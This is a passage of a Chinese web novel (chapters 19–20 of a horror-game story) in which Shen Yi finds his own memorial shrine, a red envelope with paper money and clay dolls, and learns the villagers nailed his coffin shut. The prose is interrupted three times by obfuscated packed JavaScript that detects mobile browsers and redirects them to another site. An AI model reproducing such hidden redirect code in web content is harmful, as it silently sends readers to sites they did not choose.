他睁开眼,对上了沈奕湿漉漉的眼睛。 温默又没话说了。 “好歹有梦可以做。”沈奕很认真地又对着他说了一遍,“你现在让我回去,让我带着个这辈子都不会再想明白的问题回去,这才是要折磨我一辈子。” 温默无言。 他低下眼眸,望着沈奕身后的水洼。雨水在那里噼里啪啦地打着涟漪,小小的脏污水洼里,倒映着天上厚重的云。 “噩梦也没关系。”沈奕语气诚恳,“我不怕什么鬼鬼神神的,可你总得让我……” 【不是鬼。】 温默突然抬头比划了起来,打断了他。 沈奕一顿:“不是鬼?那你怕我做什么噩梦?” 【世上最可怕的,从来都不是鬼。】 【所有人都怕鬼,但所有人都是比鬼更可怕的东西。】 “……” 这话有些高深,沈奕甫一听,没明白过来,朝他歪了歪脑袋。 温默看着他。 他的血眸无力惆怅怨恨,太多太多情感在他眼中搅成一团。 回忆绕在心头。 温默想,自己如果能说话能出声,这一定会是一句语气嘶哑难掩痛苦的话,沈奕或许能听出他的沉重。 可是他无法出声,所以沈奕什么都不明白,所以沈奕还是这样茫然无措地望着他。 他什么都不明白。 ……什么都不明白。 温默转过身,呼地化作一阵黑气,四散在雨里。 “哎等一下!” 沈奕喊了他一声,往前一抓,却又抓了个空。 沈奕在原地呆滞片刻,院子里的恶臭再一次涌了上来。他又干呕了下,捏住了自己的鼻子。 温默在旁边的屋顶上重新聚集,化作人形,又隐去了身形。 他看着沈奕边嫌恶地捂住鼻子,边四周看了一圈,眼珠咕噜咕噜四处乱转个不停,脑袋也前后左右地乱晃,像个突然找不着主人了的大狗。 温默心里明白,沈奕是在找他。 但沈奕找不到他的。 四处搜寻无果,沈奕在原地挠了挠后脑勺,思考了会儿,转头又向屋子里走去。 他还是要查。 温默心烦意乱,突然就不想去拦他了。 爱去就去吧。 他烦躁地想。 沈奕走到树底下的躺椅边上,捏着鼻子往躺椅上看去。 他打量尸体许久,最后直起身来,一脸发愁地往屋子里去了,看起来没能分辨出躺椅上的溺死尸体究竟是谁。 尸体过于肿胀,压根看不出来五官。 沈奕走到家门前。 想到屋子里的东西,温默顿时不太放心。他从屋顶上跳了下来,沈奕正好打开那扇破烂的木门。 屋子里传出香火味,门一开,就有缥缈的烟气儿飘了出来。 “对不起……” “对不起,对不起……对不起对不起对不起……” “我错了,错了,对不起,对不起……” 带着哭腔的低声细语从屋子里传出来。 是个女人。 沈奕用袖子捂着口鼻。听到声音,他脚步一顿,怔了片刻,才又抬脚走了进去。 温默跟着进去了。 屋子里昏暗极了,处处落灰,不知什么东西在屋子深处咚咚作响,声音有些远,像隔了层窗户纸似的发闷。 女人哭泣道歉的声音也是同样发闷,遥远。 沈奕打量着四周,一步一步小心翼翼,朝着屋子深处前进。 前方慢慢有了光。 一道透明的塑料帘子挂在门上,门后景象依稀可见。 几团温暖的火团燃烧着,一个穿着红衣的女人跪在那里,她的声音已经变得很清晰。 “对不起……” 她还在道歉,声音已经哽咽,“对不起,我错了,对不起……我不该信……不该信……” 沈奕抓住帘子,一把掀开。 他怔住了。 门后,是个小神龛。 神龛里,是沈奕他自己的照片——虽然是黑白的。 神龛前的供台上,摆着好几盘子水果。 香炉里插满了香火,香火烧得很旺,整个屋子里都雾气缭绕。女人跪在蒲团上,不停地向着他的遗照磕着头。 “对不起……”她不断地喃喃着,“我错了,求求你……求求你了,放过我,我会,我会好好供着的……” “我什么都会做,对不起……” 沈奕走进屋子里,走到了自己的遗照面前。 女人颤抖着身体,在地上砰砰磕着头,沈奕视若无睹。他单手拿起自己的遗像,咳嗽着打量起来。 跟他现在差不多,连发型都大差不离。 屋子里的香火味儿呛人。沈奕抬手挥了挥,低头,捂着口鼻闷声说:“妈,你先别磕了,这怎么回事啊?” 跪在地上磕头的女人正是他妈。 真是好几十年没听沈奕叫过妈了,温默靠在门框上,眼神迷离了下。 然而他老妈李桂兰毫无反应,还是在那里砰砰磕头,边磕边哭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15170057|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“求求你……” “不是,你先别求我,”沈奕往旁边走了两步,“你先别哭了,你跟我说两句行不行?我人已经在这儿了,就算你要求你也别求这个了嘛!对不对?我人就在这儿呢,你跟我说你要求什么?” 李桂兰还是没有任何反应。 沈奕真是和以前一样永不言弃,哪怕现在摆明了是热脸在贴冷屁股。 就见他把遗照往旁边一放,往旁边一蹲,开始跟李桂兰苦口婆心:“妈,妈妈!你真的你先别磕了,你这么磕也什么都解决不了的对不对?那众所周知,要想解决问题那打开天窗说亮话是必须的……哎哟喂,你看你都脑门磕流血了!你别磕了!!” 沈奕开始拉他妈。 只可惜,温默的上司——那地狱游戏的主办方,他们是出了名的铁石心肠,把游戏做得都很死很绝,没有玩家能撼动NPC的行动。 且NPC力大如牛。 沈奕拉了一下,没拉动,还被他妈跪下去的动作带得往前一摔。 沈奕猝不及防,咚地就跟着他妈摔下去了,他“啊”地惨叫一嗓子,就给自己狠狠磕了个大的。 温默:“……” 沈奕五体投地地摔在地上。 温默捂了捂脸,难以直视这一幕。 沈奕站了起来。他咳嗽个不停,掸了掸身上的灰。 望着李桂兰还在碰碰地边流泪边磕头,沈奕深深叹了口气,挠了挠头发。 他捂着鼻子,在这小屋里四处找了一圈。没翻到什么东西,便转身掀开帘子出了屋子。 看来他也明白,一直跟李桂兰耗着没有什么结果。 温默转身跟着他出去了。 沈奕在屋子里翻翻找找起来。 屋子昏暗,什么都看不清。沈奕把手机从兜里掏了出来,打开了手电筒,四处搜寻。 屋里落灰,很多东西破旧。没拧紧的水龙头滴滴答答地响着,角落里已结了蛛网。 沈奕翻找片刻,嘴里哼着不知名的小曲儿。 “哦。” 在碗柜里咚咚锵锵地翻了会儿,他在柜子角落里翻见一个红包。 “怎么把红包放这里啊。” 他嘟囔着,把红包从柜子里拿了出来。这红包还没被拆封,但落了灰,有些脏。不知道里面装了什么,鼓鼓囊囊的。 沈奕把灰掸掉,跟红包两两对视了会儿。 红包上缠着一圈又一圈的红线。 沈奕伸手把红包拆了。 温默扶了下额头——沈奕这胆子还是没变。这么一个诡异的地方,又是冥婚又是鬼新郎的,他自己的遗照甚至就摆在屋头里,搜出来这么一个红包,他就敢直接拆了。 红包上的红线被拆落下来。 沈奕从里面掏出两张纸钱。 是冥币。 红彤彤的冥币。 沈奕怔了怔。 红包还是鼓的,他意识到里面还有东西,又伸手进去。 是两个泥巴捏的草头娃娃,很小。 娃娃长得七扭八歪,长相诡异,眼睛是两颗豆子,嘴巴是刀剌出来的笑。 沈奕呆住。 他把娃娃放在桌台上,两手撑着桌子,沉默了很久。 他大概是想不明白。 片刻,沈奕一抬头。 面前的墙上钉了几张纸,上面密密麻麻地写着字。 大都是一些菜谱和一些记事。李桂兰经常拿这面墙做备忘录使,沈奕是知道的。 他伸手,把其中一张发黄的纸从上头扯了下来。 温默望着他。 该找的东西,他都找到了。 那一张纸破旧发黄,很多字迹都已经模糊了。沈奕眯着眼拧着眉,努力地分辨着上头到底写了什么。 “儿子!” 外头突然响起一声撕心裂肺的呼喊,“我儿子呢!把儿子还我!” “老江……把儿子还我!老江!!” 19.鬼新郎(拾陆) 突然就有人在门外大喊起来。 沈奕吓得一哆嗦,手里的纸都飞出去了。他手忙脚乱地伸手捞了几下,才把那张纸重新抓在手里。 沈奕松了口气。 门外又响起砰砰的敲门声,刚刚那嘶哑癫狂的声音大笑了起来,不停地喊着“儿子”。 沈奕连忙把红包里的东西和刚扯下来的纸条都收好,跑出去看情况。 生锈的大门被拍得震天响。 沈奕出了门来,见一个披头散发、衣衫褴褛、浑身上下都是泥污的老太婆咯咯笑着,趴在他家门上,疯了似的喊着“儿子”,边喊边拍着他家的半扇门。 见到沈奕出来,她灰暗的眼睛一亮,直起身,晃晃悠悠了两下,鬼叫起来:“儿子!我儿子呢?!” “我儿子——你们把我儿子怎么了啊!” 她说到一半,突然大哭起来。 “把我儿子还给我……还给我!我儿子!” 沈奕震惊得瞪直了眼。 忽然,他注意到了什么。 老太婆看起来不太正常,沈奕没敢靠近过去。他歪了歪身,在原地抻长了脖子,纳闷又仔细地将老太婆的脸打量了遍。 看来注意到了。 温默想。 沈奕问:“你好?” 老太婆不回应他的招呼,哭得更伤心了,满脸涕泪横流。 “你好?”沈奕又试探着,“我是不是在哪儿见过你?” 老太婆还是嗷嗷大哭。 沈奕顿时一个头两个大。他挠挠头发,表情头疼。 “林婆子!” 一阵脚步声在外面从远及近地响起,来人大喊起来,“你又跑这儿干什么,你还嫌事儿不够大吗!” “林婆子”就是这个老太婆。 林婆子哭嚎着:“我儿子……” “什么你儿子呀,你别添乱了!” 那人离得很远,他还没跑到江家门前,脚步声登登地响个不停。 沈奕想了想,回过身,往屋子里走回去。 来人喊:“奕哥儿都让你那个小聋子给害死了,你还来这里讨命,怕自己活得不够长啊!” 沈奕进屋的脚步一顿。 温默站在屋子里面。 他血眸微抬,眼中是一片宁静的死水。 雨仍然在下,下得地面起了一片稀薄的白雾。 温默望着沈奕,沈奕还怔怔地站在原地,两眼里一片空白,茫然至极。 “赶紧走!” 脚步声近了许多。 沈奕回过神,他匆匆跑回屋子里,躲到门旁,只露出半个脑袋去偷看。 他很有自己是个鬼的自觉。 林婆子还在门外哭嚎,来人已经跑到了院门前。那是个村妇,穿的干干净净,手上还打着一把伞。她抓着林婆子,把她连拖带拽地往外带。 林婆子不肯走,两手张牙舞爪地挥舞着,死死抓着江家的门框:“我不走!那毒妇还没把我儿子还给我!我不走!!” “还什么还!”村妇恼了,“你儿子死了!” “没死!他没死,我儿子没死!”林婆子哭着,“李桂兰害了我儿子!李桂兰!!” 村妇一听她开始连名带姓地喊,吓得一惊。 “李桂兰!李桂兰!你没良心的!把我儿子——” “别喊了!” 村妇喝止住她,又突然惨叫一声。沈奕往外一望,见是那村妇方才抬手去捂林婆子的手,结果被她狠狠咬了一口。 林婆子咬得用力,村妇手背上留下了一圈血牙印,还在滋滋往外冒血。 村妇顿时气急,涨红了脸,狠狠往林婆子脸上打了一耳光。 林婆子也惨叫一声,然后捂着半张脸,哭得越发嚎啕委屈。 村妇没了好脾气,她骂骂咧咧地问候了几句林婆子的爹娘,拽起她的头发,把她硬拖着拽走了。 林婆子惨叫不停。 声音渐渐远去,隐没在雨声里。沈奕在门后站直,沉默片刻,走出了门来。他表情复杂,望了会儿已经空无一人的院子门口,又抬头望了望天上的阴霾。 他叹着:“这到底怎么一回事啊……” 温默跟着走出门。 他合起眼,身上黑气散去,正要再次在沈奕跟前现形时,院前传来一声:“哟,可算找着你了。” 温默立刻把黑气收回来,重新隐形。 沈奕低头望去。老江家的院门又吱呀呀响了几声,一双漂亮的黑色高跟从外头蹦了进来。 是颜畔。她把手搁在额头上,跳进院里,朝他走了过去。 “找你半天了,没想到你居然找到别人家里来了。” 颜畔走到屋檐底下,站停在沈奕身边,放下了手。她狠狠甩了几下满头的大波浪卷发,甩出了一些水来。 水溅到沈奕脸上,他猝不及防哆嗦了一下。 颜畔一撸头发,长出一口气:“雨真大,累死我了。你怎么样,在这犄角旮旯的地方找到什么没有?话说你怎么找到这儿来了?” “这儿是江家,我觉得肯定有什么,才来了这儿。”沈奕抹掉被她溅到的水,“而且,我就算去问那些村民怎么回事,也肯定不会有人理我的吧?” “那倒是。”颜畔想了想他来这村子里以后的待遇,语气不禁同情起来,“不拿个扫帚追着揍你都是好事。” “哈哈哈……” 沈奕笑得咬牙切齿。 “所以,你找到什么没有?”颜畔问。 “有倒是有。”沈奕说,“我为什么告诉你?” “当然不会让你白告诉。”颜畔说,“我手上也有情报。你也说了,如果你去问村民,肯定是问不出来任何事情的。但我就不一样了,我问的出来。” “我已经在村子里绕了一大圈,找了一大半的村民套话,情况掌握了很多。所以,我手上有你一定拿不到的线索,你手上也有已经被收起来、我已经找不到了的线索,我们共享互换,算是交易。怎么样,有没有很划算?” 不得不说,听起来确实需要做这笔交易。 沈奕点了点头:“那得先拿诚意出来。做交易嘛,最讲究诚意。你既然说你打听到了线索,那就先给我透露一点。放心,亏不了你什么。” “那你就要给我看看你找到的东西。” “当然。” 颜畔点了头:“好。” “我打听来的消息,很有意思。”她说,“三年前死的人,一个是你沈奕,另一个,是一个叫林无的聋子小孩。” “村民说,这两个小孩关系很不错,是打沈奕一家搬过来之后就认识了。但是,性格差得那叫一个天南海北。” “沈奕为人很大方,因为底下还有两个弟弟妹妹,家里情况也不是很好,所以一直都习惯做大哥照顾小孩。他脾气很好,很爱操心别人,对于怎么和人相处的事儿,也是手到擒来。” “和他不一样,林无在村子里的评判不好。”颜畔说,“这个小孩生下来就是个聋子,听不到人说话。父母也厌恶他打骂他,搞得他人总是很阴沉,看见人就避开走。村子里还给他起了个外号,叫‘聋子鬼’。” 沈奕心中有了猜测:“因为总是避着人走?” “是呀,而且他自己也不说话,别人说话他也不会搭理。久而久之,村民们就说他跟个鬼一样。”颜畔说,“三年前,你被烧死后,林无就投河自尽了。” “还有,我回去婚宴那边查过,死了的新郎官一直都躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15170058|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那里,没有动过,他穿的婚衣和我们在废墟那边见到的鬼新郎也不一样。” “最重要的是,我发现,张二——那个死了的新郎官的手背上,有伤疤。” “伤疤?” “是啊,他昨天死得惨,身上都是口子,满手都是血。被血糊住了,所以我们都没注意到,他手背上还有个疤。” “我上午回去看的时候,村里的人为了给他下葬,把他身上的血擦干净了,才看到那个疤。” “听说是去县城里做木工的时候,不小心把手背上的皮刮掉了。” 沈奕听得倒吸一口凉气:“听着就好痛啊!” “看起来也很痛啊,手背上好大一块疤。”颜畔说,“而受伤的那只手,和鬼新郎给你递伞的时候用的手,是同一只手。” “但鬼新郎手上没有疤,对吧?” 沈奕一默。 他眼珠往上一飘,回想了下早上的时候——鬼新郎朝他伸出来的那只手惨白得毫无血色,十分白净,没有伤疤。 “没有。”他说。 “那就对了,”颜畔摊摊手,“证明那不是在那场婚宴上死的新郎官。” 沈奕疑惑:“为什么会觉得是刚死的新郎官?” 颜畔顿了顿,露出莫名其妙的目光:“当然了啊,播报里说了鬼新郎的,这村子里目前的新郎,不就是那个刚死的新郎官了吗。” “……” 这么一提,沈奕才慢半拍地反应过来。 的确是这么回事。 他不好意思地挠挠脸:“抱歉,我一直没觉得那个鬼新郎是婚宴上的那一个,我以为那就是……算了,没事。” 沈奕打着哈哈,颜畔狐疑地看了他两眼,耸了耸肩,没有追究。 “总而言之,这就证明,那个鬼新郎和婚宴的新郎官张二哥,没有任何关系。”颜畔说,“我得到的消息,暂时就说到这里了。你呢,也该给我看看你的诚意了。” 颜畔朝着他伸出手。 沈奕大大方方地从破包内兜里拿出了红包里的东西,递给了她。 颜畔把东西一件件拿过来看了看,皱起眉来。 “这什么,”她把两个草头娃娃打量了会儿,眉头越皱越深,“巫蛊娃娃吗?” “不知道,找到的时候就这个样子。”沈奕说,“还有这个,这是装着这两个娃娃和两张纸币的红包。我找到的时候,这个红包身上还缠了好几圈红绳。” 颜畔又拿过红包,打量片刻。 “不清楚这到底是干什么用的,但我直觉感觉,这个红包里的东西很重要。”沈奕说,“如果你觉得这些不够,我这里还有一张纸。” “拿来看看。” 沈奕依言拿出那张他从李桂兰的“备忘墙”上扯下来的纸。 他把纸展开,递给了颜畔。 这张纸纸张发黄,上头写着的字已经模糊不清,只能依稀分辨出大概的几行字。 纸不大,写的东西也不多。 【付▆成▆▆,以水吞▆。娃娃塞▆▆包里,两张纸▆一起。红▆用▆绳▆▆,放进▆▆▆落。】 【要先把他▆▆打▆▆。为了▆▆不会▆▆▆。】 “我去,”颜畔忍不住说,“关键的地方全糊了,服了。” 沈奕笑出声来:“恐怖游戏的一向套路。这么快就明白了,还玩什么。” 颜畔撇撇嘴,把他递来的东西都还了回去。 “拿好吧,”颜畔说,“都是你找到的,都归你,我只是想看看都是些什么。” 沈奕点了点头,把东西都收了回来。 “你早上在废墟那里,是找到了什么?”颜畔趁机问了句,“就是你找到那个东西之后,鬼新郎就出现了。” 20.鬼新郎(拾柒) 沈奕不答反问:“问这个干什么?” “也有可能是关键线索嘛。”颜畔再次朝他伸出手,“你拿出来给我看看,我不会跟你抢的。” 她笑眯眯的。 沈奕深深地望了她一会儿,挑了挑眉,有些不信。 谁知道她前面不争不抢的,是不是就为了给这一刻铺垫呢。 沈奕朝她一笑:“也别急着让我交货啊,姐。说好的,互换,看看诚意。” 颜畔噗嗤一笑,收回伸出的手:“好好好。我想想,我刚刚说到哪儿了?” “三年前我被烧死,林无就跟着投河自尽了。还有,那个鬼新郎不是刚死的新郎官。” “哦对对,”颜畔说,“那些村民们还说,林无死后,他亲爹不久就暴毙了,他弟弟也离奇失踪。而他亲娘,没几天就疯了。” 疯了? 沈奕敏锐地察觉到要素,脸上的笑立马收了起来,眉眼一沉。 “不仅如此,他还杀了你的弟弟妹妹,还有你的大伯。” “我问他们,这个林无是不是鬼新郎,他们不承认。”颜畔说,“但我想,一定就是他。” “问题是,他为什么会变成这样。一个厉鬼之所以变成厉鬼,一定是有他的根本原因的。” “但对这件事,村民闭口不言,背后一定还有隐情。”颜畔说,“我们得需要更多的线索推断。林无到底为什么变成这样,他又到底想干什么,这些都是指示我们该怎么去终结罪恶,去通关的线索。” “我想也是。”沈奕说,“咱俩去问问话?” “你跟我能问什么?”颜畔说,“他们看见你跟看见鬼似的,能说的都不会说了。” “正常人问不得,咱们去问问疯子啊。”沈奕手叉起腰,笑了起来,“不是有这样一种说法吗?疯子其实不是疯子,只是他看到的世界,和你看到的世界——不太一样。” 颜畔愣了,随后笑了声:“听你的意思,你是遇上那个疯子了?” “是啊,我刚还纳闷怎么有点眼熟呢。”沈奕说,“原来如此,是他亲妈。” 温默站在后面:“……” “也好。”颜畔说,“是疯子的话,也不会有其他村民那样遮遮掩掩。走吧,近距离接触一下,看能不能问出什么。” 两人走出门去。 刚出院门,一个村民就迎面跑了过来。 看见颜畔,他面色一喜;看见沈奕,他又老脸一白。 就见他脸上的肉一哆嗦,连连后退好几步,一屁股坐在了地上,神色恐惧,指着沈奕大叫:“沈奕!!” 沈奕:“……” 他抽了抽嘴角。 颜畔噗嗤一笑,慢条斯理地走上前。 “行了,你们村长说了,这个村子里的沈奕早死了。他不是沈奕,他只是个长得有点像‘沈奕’的年轻人而已。”颜畔指着沈奕说,“而且他不叫沈奕,他叫李雷。” 沈奕:“?啥?” “好吧,”颜畔改口,“他叫韩梅梅。” “……” 沈奕服了。 他也懂了,感情颜畔现在是拿他当小学英语教科书整。 这名儿太那个了,沈奕干脆自己给自己整了个:“别了,我叫张三算了。” “对,他叫张三。”颜畔顺着他台阶就下来了,“他是法外狂徒。” “…………” 村民的脸色有所缓和:“说得对,说得对,沈奕死了……哎哟,吓死我了,你也跟他太像了。” 沈奕强颜欢笑:“哈哈哈……” “所以,有什么事?”颜畔说回正话,“你是来找我们的对吧?” “对对对!”村民这才想起来正事儿,“你俩快跟我回去吧,下葬的用品都齐了。跟你们一块儿回来的那些小年轻啊,把那些什么棺材啊纸人啊纸钱啊什么的,都找回来了。” “哎?”颜畔愣了下,“老太太不是说傍晚再去吗,怎么现在就要开始做冥婚了?” 沈奕拿出手机来一看,现在才下午一点多。 “说傍晚去,那不是怕别的人找的慢吗,没想到这么快就都凑齐了。”村民说,“纸人已经没了,他们是听老太太说的话,自己现去做的;那些元宝纸钱也是,不知道都放哪儿去了,他们找了半天。去找棺材的那些更是……” 说到这儿,村民压低了声音,说到一半之后又不往下说了。他哈哈干笑两声,拍了拍自己的嘴巴。 就好像他是说了什么脏东西,得把它拍走似的。 “总之,赶紧走吧,他们都在那儿了。”村民说,“别耽误了吉时。” 沈奕和颜畔互看了一眼。 * 阴雨连绵,老太太屋头前。 雨滴打在院子里的水洼里,荡开涟漪点点。 “啊!?” 沈奕大惊失色,脸色扭曲,“你们把死人棺材挖出来了!?” “嘘!” 一个玩家赶忙捂住他的嘴。她动作太大,个头又比沈奕矮些,这么一捂,捂得沈奕不得不顺着她弯下身去。 他一个踉跄,差点没摔。 玩家捂着他,往两边一瞧,四周的村民们都已经停下了手里的动作,一双双眼睛或浑浊、或警惕审视地射了过来。 玩家赶紧打了两声哈哈:“没事没事,都忙,忙点儿好,忙点儿好哈。” 村民们各自半信半疑地收起目光,转头继续做起手上的事——他们正在为一会儿的冥婚做准备。按照老太太所吩咐的,他们在地上洒满白纸片,高挂起白色的绫花,将许多个纸人放在院子两旁。 玩家松了口气,松开了沈奕,小声骂他:“别那么大声!鬼知道你哪句说错了,这些NPC就要对我们动手了!” “抱歉抱歉。” 沈奕不好意思地挠挠脑袋,干笑了声。 话落,他的目光落在眼前这位玩家身上——听声音,这是个姑娘。 倒也不能怪他认不出男女,眼前这位姑娘戴着墨镜和黑色口罩,头上还有一顶鸭舌帽,整张脸都被藏得严严实实。 她身上是件宽松黑皮衣,里面一件黑色T恤,脖子上还挂了几圈银链子。下面是一件紧身的黑牛仔裤,还有一双铆钉靴。 这裤子上还刻意做了条条被割开的设计,看起来真是非常摇滚。 给沈奕一种这姑娘随时都会把帽子口罩一扔,拿把电吉他就过来开始摇滚的感觉。 “所以,”沈奕收回打量的目光,小心翼翼道,“你们真把死人的棺材给挖了?” “没办法啊,那死老太太让这么干的。”姑娘说,“老太太说,那对新婚夫妇在大喜的日子就这么被杀了,死后化厉鬼的可能性很大,不能用平常的棺材,得用阴气特别重的棺材,才能跟鬼魂的怨气相抵消。” “所以呢,就让我们去西边的墓地去,去挖几个死人的棺材出来,把死人放出去,把空的棺材搬了两个回来。” “真搬了?” “那还能有假的?”姑娘朝着远处扬扬脸,“就在那儿了,我们搬回来的两个棺材。” 沈奕顺着她示意的方向望去,见那处还真有两具空棺材。 这地方真是越来越玄乎了,冥婚拿来的棺材还是挖的别家死人的。 沈奕隐隐有种不好的预感。 忽然,他感到一阵异样。沈奕扭过头,见四周的一群玩家都三三两两地各自聚在一起,窃窃私语,其中好几个人都边说着话,边对他投来更加警惕的目光。 虽然之前也是这样,但现在他们眼中的警惕……似乎更厉害了。 沈奕不明所以。 “还有一件事。” 正当他疑惑时,姑娘往他身边凑过来几分,偷偷靠到他耳朵边上,“墓地里,还有你的棺材。” “!?” 沈奕噌的一下跳开,顿时惊悚地望向她。 姑娘扶了扶鼻梁上的墨镜,语气淡定:“当然,我们也挖出来看过了。” “你们——” 沈奕下意识提高声音。刚发出声音,他又立刻反应过来,不能太大声说话。 他赶紧捂住自己的嘴,转头望向那些村民。还好,刚刚才起了个头的声音不算太大,村民们没有反应。 沈奕松了口气,放下手,稳了稳神后,再次惊疑不定地开口:“你们也挖了我的?” 这话说出口,沈奕嘴角抽了两下——真是怎么听怎么不得劲。 “毕竟上面明晃晃地写了你的名字。我们很在意,就挖出来了。”姑娘把手插进上衣兜里,“不过那个棺材不在这两个带回来的里面。你那个棺材上钉了钉子,我们弄不出来。” 沈奕一怔:“钉子?” “是啊,七个钉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15187817|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。” “七个钉子?”颜畔被话头吸引过来,她皱了皱眉,从包里翻出一本书,“你看看,那七个钉子的钉法,这里面有没有?” 她拿出一本“风水大全”。 沈奕惊了:“你又哪来的书啊?” “老太太房间里的。”颜畔说,“就放在门口的桌子上,我看他们没人管,就顺手拿出来了,看起来是个能用的道具嘛。” “……” 颜畔没理他那张“这也行吗”的震惊脸,自顾自翻开了书:“这上面写了各种东西,怎么看风水、东西怎么摆,甚至还有下葬该怎么弄。你看,这几页就是下葬的注意事项,这一页上写了,如果死人生前发生过事情,怕他因怨气成鬼,想让他彻底安息的话,可以在他的棺材上钉上钉子。” “钉子的钉法不同,效果也不同。有的可以让他安息;有的可以让他彻底死亡;有的可以让他真的被锁死在棺材里面,连去轮回也不行;还有的……让他魂飞魄散。” 沈奕听得打了个冷战。 黑皮衣姑娘拿出手机,上前去,打开了相册——她居然给沈奕的棺材拍了照。 她开始认真比对书上的例图。 沈奕有些好奇,也凑了过去。 他看见了自己的棺材。那是个木头棺椁,棺椁刚从土里被抬出来,棺上全是泥巴。七个钉子被钉在棺材上头,各个在相片里亮着银光。 它们相互之间的距离长短不一。 比对了会儿,黑皮衣姑娘“哦”了一声,指着书上的一张图:“是不是这个?” 沈奕又把脑袋一侧,望向那书上。 书上有个棺材打钉的例图,跟沈奕棺材上的钉子排列果真一模一样。 “就是这个,”颜畔说,“这个……这是把他锁死在里面的打法,轮回也不能去的那个。” 沈奕沉默。 颜畔和黑皮衣姑娘不约而同地回头看向他。 颜畔朝他一挑眉,姑娘也清了清嗓子,都在无声地示意他解释两句。 沈奕欲盖弥彰地咳嗽两声:“我叫张三。” “……” “你们找沈奕,跟我有什么关系。”他说,“再说这是钉死在里面的,我要是真是他,我能在外头这样晃悠吗?” “别说,有点道理。”黑皮衣姑娘拿过颜畔手上的书,“这个线索,或许就是要告诉我们,他不是这轮游戏里的沈奕,沈奕早已经被锁死在里面了?” “应该是。”颜畔说,“当然,还有别的信息——打上这样的钉子,他们是怕沈奕化鬼。” 黑皮衣姑娘恍然大悟:“对啊!” “假如真的只是单纯地被火烧死,他们为什么要这么做。”颜畔把书从她手里拿回来,合上,朝着沈奕努努嘴,“而且,他们看见这位‘张三’,一个两个吓得都不像样子。如果真的只是单纯的意外去世,用不着这样的。” “这个‘沈奕’,死的背后,也有隐情。”颜畔说。 “这个隐情足以让所有村民害怕他。”黑皮衣姑娘思索起来,“有没有这种可能?沈奕其实是他们害死的,然后又把他钉死在棺材里。因为这件事,林无跳河自杀了,随后化作厉鬼回来报复?” “不对,说不通。”颜畔说,“那他们又为什么要害死沈奕,还要把沈奕钉死在棺材里?那时候林无还没化鬼,村子里也没有什么闹鬼的事,他们有什么必要这样做?” “倒也是……” “有的。” 黑皮衣姑娘正应着声,旁边就突然插进来一道声音。她吓了一跳,三人回头一看,就见老村长不知道什么时候来了,正杵着拐杖,站在他们身后,身后还跟着两三个村民。 他两眼浑浊,眉眼灰暗地望着他们。 “村长!” 屋子里,一个村妇跑了过来。 “您怎么来了?”她问。 村长长叹了一口气。 他望向罪人们,声音惆怅:“还是瞒不过你们。” “不过也是,出了这么大的事,就算我想瞒着……你们也一定,会查个水落石出。毕竟是自己家乡的事,谁都想知道个彻底。” “事到如今,我就不瞒着你们了。”村长说,“我就跟你们实话实说吧。” “沈奕,的确是我们亲手杀死的。” “因为他当时……被鬼上身了。”